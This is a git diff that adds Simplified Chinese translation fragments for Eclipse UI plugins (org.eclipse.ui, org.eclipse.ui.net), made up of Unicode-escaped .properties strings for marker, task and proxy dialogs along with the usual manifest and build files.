+filtersDialog_deselectAllTypes=\u5168\u90e8\u4e0d\u9009(&L) +filtersDialog_conflictingName=\u5df2\u5b58\u5728\u540d\u4e3a {0} \u7684\u8fc7\u6ee4\u5668 +filtersDialogDeselectedFiltersTitle=\u786e\u8ba4\u5168\u90e8\u663e\u793a +filtersDialog_descriptionLabel=\u63cf\u8ff0(&P) +filtersDialog_contains=\u5305\u542b +filtersDialog_doesNotContain=\u4e0d\u5305\u542b +filtersDialog_severityLabel=\u5176\u4e2d\u4e25\u91cd\u6027\u4e3a(&Y)\uff1a +filtersDialog_filterOnSeverity=\u663e\u793a\u4e25\u91cd\u6027(&W)\uff1a +filtersDialog_severityError=\u9519\u8bef(&R) +filtersDialog_severityWarning=\u8b66\u544a(&G) +filtersDialog_severityInfo=\u4fe1\u606f(&O) +filtersDialog_priorityLabel=\u5176\u4e2d\u4f18\u5148\u7ea7\u4e3a(&Y)\uff1a +filtersDialog_priorityHigh=\u9ad8(&G) +filtersDialog_priorityNormal=\u6b63\u5e38(&R) +filtersDialog_priorityLow=\u4f4e(&W) +filtersDialog_statusLabel=\u5176\u4e2d\u72b6\u6001\u4e3a(&U)\uff1a +filtersDialog_statusComplete=\u5df2\u5b8c\u6210(&O) +filtersDialog_statusIncomplete=\u672a\u5b8c\u6210 +filtersDialog_scopeTitle=&\u4f5c\u7528\u57df +filtersDialog_typesTitle=\u7c7b\u578b(&T) +filtersDialog_completionTitle=\u5df2\u5b8c\u6210(&C) +filtersDialog_priorityTitle=&\u4f18\u5148\u7ea7 +configureFiltersCommand_title=\u914d\u7f6e\u5185\u5bb9(&C)... +configureFiltersDialog_title=\u914d\u7f6e\u5185\u5bb9 +propertiesDialog_creationTime_text=\u521b\u5efa\u65f6\u95f4(&T)\uff1a +propertiesDialog_folder_text=\u5728\u6587\u4ef6\u5939\u4e2d(&F)\uff1a +propertiesDialog_location_text=\u4f4d\u7f6e(&L)\uff1a +propertiesDialog_resource_text=\u5728\u5143\u7d20\u4e0a(&E)\uff1a +propertiesDialog_title=\u5c5e\u6027 +propertiesDialog_severityLabel=\u4e25\u91cd\u6027(&S)\uff1a +propertiesDialog_errorLabel=\u9519\u8bef +propertiesDialog_warningLabel=\u8b66\u544a +propertiesDialog_infoLabel=\u4fe1\u606f +propertiesDialog_noseverityLabel=\u672a\u5b9a\u4e49 +propertiesDialog_priority=\u4f18\u5148\u7ea7(&P)\uff1a +propertiesDialog_priorityHigh=\u9ad8 +propertiesDialog_priorityNormal=\u6b63\u5e38 +propertiesDialog_priorityLow=\u4f4e +propertiesDialog_completed=\u5df2\u5b8c\u6210(&C) +filter_matchedMessage=\u8fc7\u6ee4\u5668\u5df2\u5339\u914d {0} \u9879\uff0c\u603b\u5171 {1} \u9879 +filter_itemsMessage={0} \u9879 +problem_filter_matchedMessage={0}\uff08\u8fc7\u6ee4\u5668\u5df2\u5339\u914d {1} \u9879\uff0c\u603b\u5171 {2} \u9879\uff09 +errorModifyingBookmark=\u4fee\u6539\u4e66\u7b7e\u65f6\u51fa\u9519 +errorModifyingTask=\u4fee\u6539\u4efb\u52a1\u65f6\u51fa\u9519 +problemSeverity_description=\u4e25\u91cd\u6027\u548c\u63cf\u8ff0 +problem_statusSummaryBreakdown={0,choice,0\#0 \u4e2a\u9519\u8bef|1\#{0,number,integer} \u4e2a\u9519\u8bef|1<{0,number,integer} \u4e2a\u9519\u8bef}\uff0c{1,choice,0\#0 \u4e2a\u8b66\u544a|1\#{1,number,integer} \u4e2a\u8b66\u544a|1<{1,number,integer} \u4e2a\u8b66\u544a}\uff0c{2,choice,0\#0 \u4e2a\u4fe1\u606f|1\#{2,number,integer} \u4e2a\u4fe1\u606f|1<{2,number,integer} \u4e2a\u4fe1\u606f} +marker_statusSummarySelected=\u9009\u62e9\u4e86 {0,choice,0\#0 \u9879|1\#{0,number,integer} \u9879|1<{0,number,integer} \u9879}\uff1a{1} +errorsAndWarningsSummaryBreakdown={0,choice,0#0 \u4e2a\u9519\u8bef|1#{0,number,integer} \u4e2a\u9519\u8bef|1<{0,number,integer} \u4e2a\u9519\u8bef}\uff0c{1,choice,0#0 \u4e2a\u8b66\u544a|1#{1,number,integer} \u4e2a\u8b66\u544a|1<{1,number,integer} \u4e2a\u8b66\u544a}\uff0c{2,choice,0#0 \u5176\u4ed6|1#{2,number,integer} \u5176\u4ed6|1<{2,number,integer} \u5176\u4ed6} +deleteMarkers_operationName=\u5220\u9664\u6807\u8bb0 +deleteBookmarkMarker_operationName=\u5220\u9664\u4e66\u7b7e +deleteTaskMarker_operationName=\u5220\u9664\u4efb\u52a1 +deleteCompletedAction_title=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1(&T) +markCompletedAction_title=\u5df2\u5b8c\u6210\u7684\u6807\u8bb0(&M) +markCompletedHandler_task=\u5c06\u6240\u9009\u4efb\u52a1\u6807\u8bb0\u4e3a\u5df2\u5b8c\u6210 +deleteCompletedTasks_dialogTitle=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1 +deleteCompletedTasks_noneCompleted=\u6ca1\u6709\u8981\u5220\u9664\u7684\u7528\u6237\u53ef\u7f16\u8f91\u7684\u5df2\u5b8c\u6210\u4efb\u52a1\u3002 +deleteCompletedTasks_permanentPlural=\u60f3\u8981\u6c38\u4e45\u5220\u9664 {0} \u4e2a\u5df2\u5b8c\u6210\u7684\u4efb\u52a1\u5417\uff1f +deleteCompletedTasks_permanentSingular=\u60f3\u8981\u6c38\u4e45\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1\u5417\uff1f +deleteCompletedTasks_errorMessage=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1\u65f6\u51fa\u9519 +addGlobalTaskAction_title=\u6dfb\u52a0\u4efb\u52a1(&A)... +addGlobalTaskAction_tooltip=\u6dfb\u52a0\u4efb\u52a1 +addGlobalTaskDialog_title=\u6dfb\u52a0\u4efb\u52a1 +completion_description=\u5df2\u5b8c\u6210 +priority_description=\u4f18\u5148\u7ea7 +severity_description=\u4e25\u91cd\u6027 +priority_high=\u9ad8 +priority_normal=\u6b63\u5e38 +priority_low=\u4f4e +CopyToClipboardProblemDialog_title=\u590d\u5236\u5230\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898 +CopyToClipboardProblemDialog_message=\u8bbf\u95ee\u7cfb\u7edf\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898\u3002\u8981\u91cd\u8bd5\u5417\uff1f +MarkerFilter_searching=\u641c\u7d22\u6807\u8bb0 +MarkerView_processUpdates=\u5904\u7406\u8d44\u6e90\u66f4\u65b0 +MarkerView_waiting_on_changes=\u7b49\u5f85\u5b8c\u6210\u5de5\u4f5c\u7a7a\u95f4\u66f4\u6539 +MarkerView_searching_for_markers=\u641c\u7d22\u6807\u8bb0 +MarkerView_refreshing_counts=\u5237\u65b0\u6807\u8bb0\u8ba1\u6570 +MarkerView_queueing_updates=\u5bf9\u67e5\u770b\u5668\u66f4\u65b0\u8fdb\u884c\u6392\u961f +MarkerView_18=\u6839\u636e\u6807\u8bb0\u9650\u5236\u8fdb\u884c\u8fc7\u6ee4 +MarkerView_19=\u5237\u65b0\u89c6\u56fe +SortUtil_finding_first=\u67e5\u627e\u7b2c\u4e00\u9879 +SortUtil_partitioning=\u5bf9\u9879\u8fdb\u884c\u5206\u533a +OpenMarker_errorTitle=\u9519\u8bef +PasteMarker_errorTitle=\u9519\u8bef +RemoveMarker_errorTitle=\u9519\u8bef +MarkerFilter_defaultFilterName=\u7f3a\u7701\u503c +MarkerFilter_filtersTitle=\u7528\u6237\u8fc7\u6ee4\u5668(&I)\uff1a +MarkerFilter_addFilterName=\u65b0\u5efa(&N) +MarkerFilter_cloneFilterName=\u590d\u5236(&U)... +MarkerFilter_editFilterName=\u7f16\u8f91(&E)... +MarkerFilter_deleteSelectedName=\u79fb\u9664(&V)... +MarkerFilter_renameName=\u91cd\u547d\u540d(&R) +MarkerFilter_showAllCommand_title=&\u5168\u90e8\u663e\u793a +MarkerFilter_ConfigureContentsCommand_title=\u914d\u7f6e\u5185\u5bb9(&C)... +MarkerFilterDialog_emptyMessage=\u540d\u79f0\u4e0d\u80fd\u662f\u7a7a\u7684 +MarkerConfigurationsLabel=&\u914d\u7f6e\uff1a +MarkerFilterDialog_errorTitle=\u53d1\u751f\u4e86\u9519\u8bef\u3002 +MarkerFilterDialog_failedFilterMessage=\u672a\u80fd\u521b\u5efa\u8fc7\u6ee4\u5668 {0}\u3002 +MarkerPreferences_DialogTitle=\u9996\u9009\u9879 +MarkerPreferences_ColumnGroupTitle=\u9690\u85cf\uff0f\u663e\u793a\u5217 +ProblemFilterDialog_System_Filters_Title=\u7cfb\u7edf\u8fc7\u6ee4\u5668(&R)\uff1a +ProblemFilterDialog_All_Problems=\u5bf9\u6240\u6709\u95ee\u9898\u542f\u7528 +ProblemFilterDialog_Selected_Types=\u6240\u9009\u7c7b\u578b\uff1a +ProblemFilterDialog_Info_Severity=\u5176\u4e2d\u4e25\u91cd\u6027\u4e3a\u4fe1\u606f +ProblemFilterDialog_Warning_Severity=\u5176\u4e2d\u4e25\u91cd\u6027\u4e3a\u8b66\u544a +ProblemFilterDialog_Error_Severity=\u5176\u4e2d\u4e25\u91cd\u6027\u4e3a\u9519\u8bef +ProblemFilterDialog_Contains_Description=\u5728\u5305\u542b {0} \u7684\u4efb\u4f55\u63cf\u8ff0\u4e0a +ProblemFilterDialog_Does_Not_Contain_Description=\u5728\u4e0d\u5305\u542b {0} \u7684\u4efb\u4f55\u63cf\u8ff0\u4e0a +ProblemFilterDialog_any=\u5bf9\u4efb\u4f55\u5143\u7d20\u8fdb\u884c\u8fc7\u6ee4 +ProblemFilterDialog_sameContainer=\u5bf9\u540c\u4e00\u5bb9\u5668\u4e2d\u7684\u4efb\u4f55\u5143\u7d20\u8fdb\u884c\u8fc7\u6ee4 +ProblemFilterDialog_selected=\u4ec5\u5bf9\u6240\u9009\u5143\u7d20\u8fdb\u884c\u8fc7\u6ee4 +ProblemFilterDialog_workingSet=\u5bf9\u5de5\u4f5c\u96c6 {0} \u8fdb\u884c\u8fc7\u6ee4 +ProblemFilterRegistry_nullType={1} \u4e2d\u6240\u5f15\u7528\u7684\u6807\u8bb0\u7c7b\u578b {0} \u4e0d\u5b58\u5728\u3002 +FieldMessage_NullMessage=\u6807\u8bb0\u4e3a\u7a7a +FieldMessage_WrongType={0} \u4e0d\u662f\u53ef\u663e\u793a\u7684\u7c7b\u578b +FieldCategory_Uncategorized=\u5176\u4ed6 +FiltersConfigurationDialog_title=\u914d\u7f6e\u5185\u5bb9 +Category_Label={0}\uff08{1} \u9879\uff09 +Category_One_Item_Label={0}\uff081 \u9879\uff09 +Category_Limit_Label={0}\uff08\u7b2c {1} \u9879\uff0c\u5171 {2} \u9879\uff09 +MarkerResolutionDialog_Fixing=\u4fee\u6b63 +MarkerResolutionDialog_Description=\u9009\u62e9\u201c{0}\u201d\u7684\u4fee\u6b63\u3002 +MarkerResolutionDialog_Problems_List_Title=\u95ee\u9898(&P)\uff1a +MarkerResolutionDialog_Problems_List_Resource=\u8d44\u6e90 +MarkerResolutionDialog_Problems_List_Location=\u4f4d\u7f6e +MarkerResolutionDialog_Resolutions_List_Title=\u9009\u62e9\u4fee\u6b63(&S)\uff1a +MarkerResolutionDialog_CannotFixTitle=\u65e0\u6cd5\u4fee\u6b63 +MarkerResolutionDialog_CannotFixMessage=\u672a\u80fd\u4fee\u6b63 {0} +MarkerResolutionDialog_NoResolutionsFound=\u6ca1\u6709\u4fee\u6b63\u53ef\u4f9b\u201c{0}\u201d\u4f7f\u7528\u3002 +MarkerResolutionDialog_AddOthers=\u67e5\u627e\u7c7b\u4f3c\u7684\u95ee\u9898(&M) +MarkerResolutionDialog_Title=\u9009\u62e9\u4fee\u6b63 +MarkerResolutionDialog_CalculatingTask=\u8ba1\u7b97\u53ef\u80fd\u7684\u89e3\u51b3\u65b9\u6848 +MarkerResolutionDialog_WorkingSubTask=\u5904\u7406\u4e2d\uff1a{0} +resolveMarkerAction_title=\u5feb\u901f\u4fee\u6b63(&Q) +resolveMarkerAction_dialogTitle=\u5feb\u901f\u4fee\u6b63 +resolveMarkerAction_computationAction=\u6b63\u5728\u67e5\u627e {0} \u7684\u4fee\u6b63 +resolveMarkerAction_computationManyAction=\u67e5\u627e\u4fee\u6b63 +Util_ProjectRoot=\u9879\u76ee\u6839\u76ee\u5f55 +Util_WorkspaceRoot=\u5de5\u4f5c\u7a7a\u95f4\u6839\u76ee\u5f55 +ProblemView_GroupByMenu=\u5206\u7ec4\u4f9d\u636e(&G) +ProblemView_Type=\u7c7b\u578b(&T) +ProblemView_None=\u65e0(&N) +ProblemView_UpdateCategoryJob=\u66f4\u65b0\u7c7b\u522b +DialogMarkerProperties_CreateMarker=\u6dfb\u52a0\u6807\u8bb0 +DialogMarkerProperties_ModifyMarker=\u4fee\u6539\u6807\u8bb0 +DialogMarkerProperties_Modify=\u4fee\u6539 +DialogMarkerProperties_Create=\u6dfb\u52a0 +DialogTaskProperties_CreateTask=\u6dfb\u52a0\u4efb\u52a1 +modifyBookmark_title=\u4fee\u6539\u4e66\u7b7e +modifyTask_title=\u4fee\u6539\u4efb\u52a1 +PasteHandler_title=\u7c98\u8d34\u6807\u8bb0 +newViewTitle={1} {0} +NewViewHandler_dialogTitle=\u65b0\u5efa {0} \u89c6\u56fe +NewViewHandler_dialogMessage=\u8f93\u5165\u65b0\u89c6\u56fe\u7684\u540d\u79f0(&E)\uff1a +qualifiedMarkerCommand_title={1} {0} +task_title=\u4efb\u52a1 +bookmark_title=\u4e66\u7b7e +problem_title=\u95ee\u9898 +ContentGenerator_NoGrouping={1} \u4e2d\u5b9a\u4e49\u7684\u5206\u7ec4 {0} \u672a\u5b9a\u4e49 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.net.nl_zh/.classpath b/i18n/org.eclipse.ui.net.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ui.net.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ui.net.nl_zh/.project b/i18n/org.eclipse.ui.net.nl_zh/.project new file mode 100644 index 0000000..cac2cd7 --- /dev/null +++ b/i18n/org.eclipse.ui.net.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ui.net.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ui.net.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ui.net.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.ui.net.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ui.net.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.ui.net.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2e3d156 --- /dev/null +++ b/i18n/org.eclipse.ui.net.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ui.net Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.ui.net.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ui.net +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ui.net.nl_zh/build.properties b/i18n/org.eclipse.ui.net.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.ui.net.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.ui.net.nl_zh/src/org/eclipse/ui/internal/net/messages_zh.properties b/i18n/org.eclipse.ui.net.nl_zh/src/org/eclipse/ui/internal/net/messages_zh.properties new file mode 100644 index 0000000..3ac72d7 --- /dev/null +++ b/i18n/org.eclipse.ui.net.nl_zh/src/org/eclipse/ui/internal/net/messages_zh.properties @@ -0,0 +1,44 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ProxyPreferencePage_0=\u914d\u7f6e\u65b9\u5f0f\uff1a +ProxyPreferencePage_1=\u4ee3\u7406\u670d\u52a1\u5668 +ProxyPreferencePage_2=\u4ee3\u7406\u7c7b\u578b +ProxyPreferencePage_3=\u4e3b\u673a\u5730\u5740 +ProxyPreferencePage_4=\u7aef\u53e3 +ProxyPreferencePage_5=\u914d\u7f6e\u65b9\u5f0f +ProxyPreferencePage_6=\u8eab\u4efd\u9a8c\u8bc1 +ProxyPreferencePage_7=\u7528\u6237\u540d +ProxyPreferencePage_8=\u5bc6\u7801 +ProxyPreferencePage_9=\u6dfb\u52a0\u4ee3\u7406(&E) +ProxyPreferencePage_10=\u7f16\u8f91\u4ee3\u7406(&I)... +ProxyPreferencePage_11=\u6e05\u9664\u6240\u9009(&C) +ProxyPreferencePage_12=\u4f8b\u5916 +ProxyPreferencePage_13=\u4e3b\u673a\u5730\u5740 +ProxyPreferencePage_14=\u914d\u7f6e\u65b9\u5f0f +ProxyPreferencePage_15=\u6dfb\u52a0\u4f8b\u5916(&X)... +ProxyPreferencePage_16=\u7f16\u8f91\u4f8b\u5916(&T)... +ProxyPreferencePage_17=\u79fb\u9664\u4f8b\u5916(&M) +ProxyPreferencePage_18=\u52a8\u6001 + +ProxyEntryDialog_0=\u6dfb\u52a0\u4ee3\u7406 +ProxyEntryDialog_1=\u7f16\u8f91\u4ee3\u7406 +ProxyEntryDialog_2=\u4ee3\u7406\u7c7b\u578b\uff1a +ProxyEntryDialog_3=\u4e3b\u673a\u5730\u5740\uff1a +ProxyEntryDialog_4=\u7aef\u53e3\uff1a +ProxyEntryDialog_5=\u914d\u7f6e\u65b9\u5f0f\uff1a +ProxyEntryDialog_6=\u8981\u6c42\u8eab\u4efd\u9a8c\u8bc1 +ProxyEntryDialog_7=\u7528\u6237\u540d\uff1a +ProxyEntryDialog_8=\u5bc6\u7801\uff1a +ProxyEntryDialog_9=\u5bf9\u63d0\u4f9b\u7684\u5df2\u7ecf\u5b9a\u4e49\u7684\u7c7b\u578b\u8fdb\u884c\u8bbe\u7f6e\u3002 +ProxyEntryDialog_10=\u4e3b\u673a\u5730\u5740\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +ProxyEntryDialog_11=\u7aef\u53e3\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +ProxyEntryDialog_12=\u7528\u6237\u540d\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +ProxyEntryDialog_13=\u4e3b\u673a\u5730\u5740\u4e0d\u80fd\u4f7f\u7528\u524d\u7f00\u6a21\u5f0f\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +ProxyBypassDialog_0=\u4f8b\u5916\u4e3b\u673a\u5730\u5740 +ProxyBypassDialog_1=\u5982\u6709\u591a\u4e2a\u4f8b\u5916\u4e3b\u673a\u5730\u5740\uff0c\u8bf7\u4f7f\u7528\u534a\u89d2\u5206\u53f7\u201c;\u201d\u9694\u5f00\uff1a +ProxyBypassDialog_2=\u53ef\u4ee5\u4f7f\u7528\u901a\u914d\u7b26 * \u6307\u5b9a\u4f8b\u5916\u4e3b\u673a\u5730\u5740\u6a21\u5f0f\uff0c\u5e76\u4f7f\u7528 | \u7ec4\u5408\u591a\u4e2a\u6a21\u5f0f\uff1a + +UserValidationDialog_0=\u9700\u8981\u5bc6\u7801 +UserValidationDialog_1=\u8fde\u63a5\u81f3\uff1a{0} +UserValidationDialog_2=\u5bc6\u7801(&P)\uff1a +UserValidationDialog_3=\u7528\u6237\u540d(&U)\uff1a \ No newline at end of file diff --git a/i18n/org.eclipse.ui.nl_zh/.classpath b/i18n/org.eclipse.ui.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ui.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ui.nl_zh/.project b/i18n/org.eclipse.ui.nl_zh/.project new file mode 100644 index 0000000..666bc1d --- /dev/null +++ b/i18n/org.eclipse.ui.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ui.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ui.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ui.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.ui.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ui.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.ui.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9eb5da7 --- /dev/null +++ b/i18n/org.eclipse.ui.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,8 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ui Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.ui.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20131209 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ui +Bundle-Localization: plugin +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ui.nl_zh/build.properties b/i18n/org.eclipse.ui.nl_zh/build.properties new file mode 100644 index 0000000..6c0438d --- /dev/null +++ b/i18n/org.eclipse.ui.nl_zh/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin_zh.properties diff --git a/i18n/org.eclipse.ui.nl_zh/plugin_zh.properties b/i18n/org.eclipse.ui.nl_zh/plugin_zh.properties new file mode 100644 index 0000000..0ada2f9 --- /dev/null +++ b/i18n/org.eclipse.ui.nl_zh/plugin_zh.properties @@ -0,0 +1,318 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +Plugin.providerName=Eclipse.org +ExtPoint.acceleratorConfigurations=\u5feb\u6377\u952e\u914d\u7f6e +ExtPoint.acceleratorScopes=\u5feb\u6377\u952e\u4f5c\u7528\u57df +ExtPoint.acceleratorSets=\u5feb\u6377\u952e\u96c6 +ExtPoint.actionDefinitions=\u64cd\u4f5c\u5b9a\u4e49 +ExtPoint.activities=\u6d3b\u52a8 +ExtPoint.activitySupport=\u6d3b\u52a8\u652f\u6301 +ExtPoint.actionSets=\u64cd\u4f5c\u96c6 +ExtPoint.actionSetPartAssociations=\u64cd\u4f5c\u96c6\u90e8\u4ef6\u5173\u8054 +ExtPoint.bindings=\u7ed1\u5b9a +ExtPoint.commands=\u547d\u4ee4 +ExtPoint.commandImages=\u547d\u4ee4\u56fe\u50cf +ExtPoint.contexts=\u4e0a\u4e0b\u6587 +ExtPoint.decorators=\u4fee\u9970\u7b26 +ExtPoint.dropActions=\u653e\u4e0b\u64cd\u4f5c +ExtPoint.editorActions=\u7f16\u8f91\u5668\u83dc\u5355\u548c\u64cd\u4f5c +ExtPoint.editors=\u7f16\u8f91\u5668 +ExtPoint.elementFactories=\u5143\u7d20\u5de5\u5382 +ExtPoint.encodings=\u7f16\u7801 +ExtPoint.exportWizards=\u5bfc\u51fa\u5411\u5bfc +ExtPoint.fontDefinitions=\u5b57\u4f53\u5b9a\u4e49 +ExtPoint.helpSupport=\u5e2e\u52a9\u754c\u9762 +ExtPoint.handlers=\u5904\u7406\u7a0b\u5e8f +ExtPoint.importWizards=\u5bfc\u5165\u5411\u5bfc +ExtPoint.intro=\u7b80\u4ecb\u6269\u5c55 +ExtPoint.keywords=\u5173\u952e\u5b57 +ExtPoint.menus=\u83dc\u5355 +ExtPoint.newWizards=\u8d44\u6e90\u521b\u5efa\u5411\u5bfc +ExtPoint.perspectiveExtensions=\u900f\u89c6\u56fe\u6269\u5c55 +ExtPoint.perspectives=\u900f\u89c6\u56fe +ExtPoint.popupMenus=\u5f39\u51fa\u83dc\u5355 +ExtPoint.preferencePages=\u9996\u9009\u9879\u9875\u9762 +ExtPoint.preferenceTransfer=\u9996\u9009\u9879\u4f20\u8f93 +ExtPoint.themes=\u4e3b\u9898 +ExtPoint.presentationFactories=\u8868\u793a\u5de5\u5382 +ExtPoint.propertyPages=\u5c5e\u6027\u9875 +ExtPoint.startup=\u542f\u52a8 +ExtPoint.splashHandlers=\u542f\u52a8\u753b\u9762\u53e5\u67c4 +ExtPoint.services=\u670d\u52a1 +ExtPoint.systemSummarySections=\u7cfb\u7edf\u603b\u7ed3\u90e8\u5206 +ExtPoint.viewActions=\u89c6\u56fe\u83dc\u5355\u548c\u64cd\u4f5c +ExtPoint.views=\u89c6\u56fe +ExtPoint.workingSets=\u5de5\u4f5c\u96c6\u5bf9\u8bdd\u6846 +ExtPoint.browserSupport=\u6d4f\u89c8\u5668\u652f\u6301 +ExtPoint.statusHandlers=\u5904\u7406\u72b6\u6001 +ExtPoint.installationPages=\u5b89\u88c5\u9875\u9762 +ExtPoint.tweaklets=Tweaklets(\u5185\u90e8/\u8bd5\u9a8c) +ExtPoint.propertiesView=\u5c5e\u6027\u89c6\u56fe +Views.Category.Basic=\u5e38\u89c4 +Views.IntroAdapter=\u6b22\u8fce +FontsPreference.BannerFontLabel=\u6761\u5e45\u5b57\u4f53 +FontsPreference.DialogFontLabel=\u5bf9\u8bdd\u6846\u5b57\u4f53 +FontsPreference.HeaderFontLabel=\u6807\u9898\u5b57\u4f53 +FontsPreference.TextFontLabel=\u6587\u672c\u5b57\u4f53 +FontsPreference.TitleFont=\u90e8\u4ef6\u6807\u9898\u5b57\u4f53 +FontsPreference.ViewMessageFont=\u89c6\u56fe\u6d88\u606f\u5b57\u4f53 +FontsPreference.BannerFontDescription=\u5411\u5bfc\u6761\u5e45\u4e2d\u4f7f\u7528\u7684\u6761\u5e45\u5b57\u4f53\u3002 +FontsPreference.DialogFontDescription=\u5bf9\u8bdd\u6846\u4e2d\u7684\u7a97\u53e3\u5c0f\u90e8\u4ef6\u4f7f\u7528\u5bf9\u8bdd\u6846\u5b57\u4f53\u3002 +FontsPreference.HeaderFontDescription=\u6807\u9898\u5b57\u4f53\u7528\u4e8e\u7ec4\u5408\u6587\u672c\u9875\u9762\u7684\u8282\u6807\u9898\u3002 +FontsPreference.TextFontDescription=\u6587\u672c\u7f16\u8f91\u5668\u4f7f\u7528\u6587\u672c\u5b57\u4f53\u3002 +FontsPreference.TitleFontDescription=\u7528\u4e8e\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u7684\u5b57\u4f53\u3002\u8bf7\u6ce8\u610f\uff0c\u5efa\u8bae\u4e0d\u8981\u5c06\u6b64\u5b57\u4f53\u8bbe\u7f6e\u4e3a\u7c97\u4f53\u6216\u659c\u4f53\uff0c\u539f\u56e0\u662f\u5de5\u4f5c\u53f0\u5c06\u4f7f\u7528\u6b64\u5b57\u4f53\u7684\u7c97\u4f53\u548c\u659c\u4f53\u7248\u672c\u6765\u663e\u793a\u8fdb\u5ea6\u3002 +FontsPreference.ViewMessageFontDescription=\u7528\u4e8e\u89c6\u56fe\u6807\u9898\u680f\u4e2d\u7684\u6d88\u606f\uff08\u5982\u679c\u5b58\u5728\u7684\u8bdd\uff09\u7684\u5b57\u4f53\u3002 +Presentation.misc=\u57fa\u672c +Presentation.misc.desc=\u5728\u6574\u4e2a\u5de5\u4f5c\u53f0\u5bf9\u8bdd\u6846\u548c\u7f16\u8f91\u5668\u4e2d\u4f7f\u7528\u7684\u57fa\u672c\u989c\u8272\u548c\u5b57\u4f53\u3002 +Presentation.default=\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6587\u4ef6\u5939 +Presentation.default.desc=\u7f3a\u7701 Eclipse \u8868\u793a\u4f7f\u7528\u7684\u989c\u8272\u548c\u5b57\u4f53\u3002 +Presentation.default.name=\u7f3a\u7701\u503c +Presentation.30.name=\u7ecf\u5178\u4ecb\u7ecd +SystemSummary.sectionTitle.platform=\u5e73\u53f0\u8be6\u7ec6\u4fe1\u606f +category.file.name=\u6587\u4ef6 +category.edit.name=\u7f16\u8f91 +category.navigate.name=\u5bfc\u822a +category.perspective.name=\u900f\u89c6\u56fe 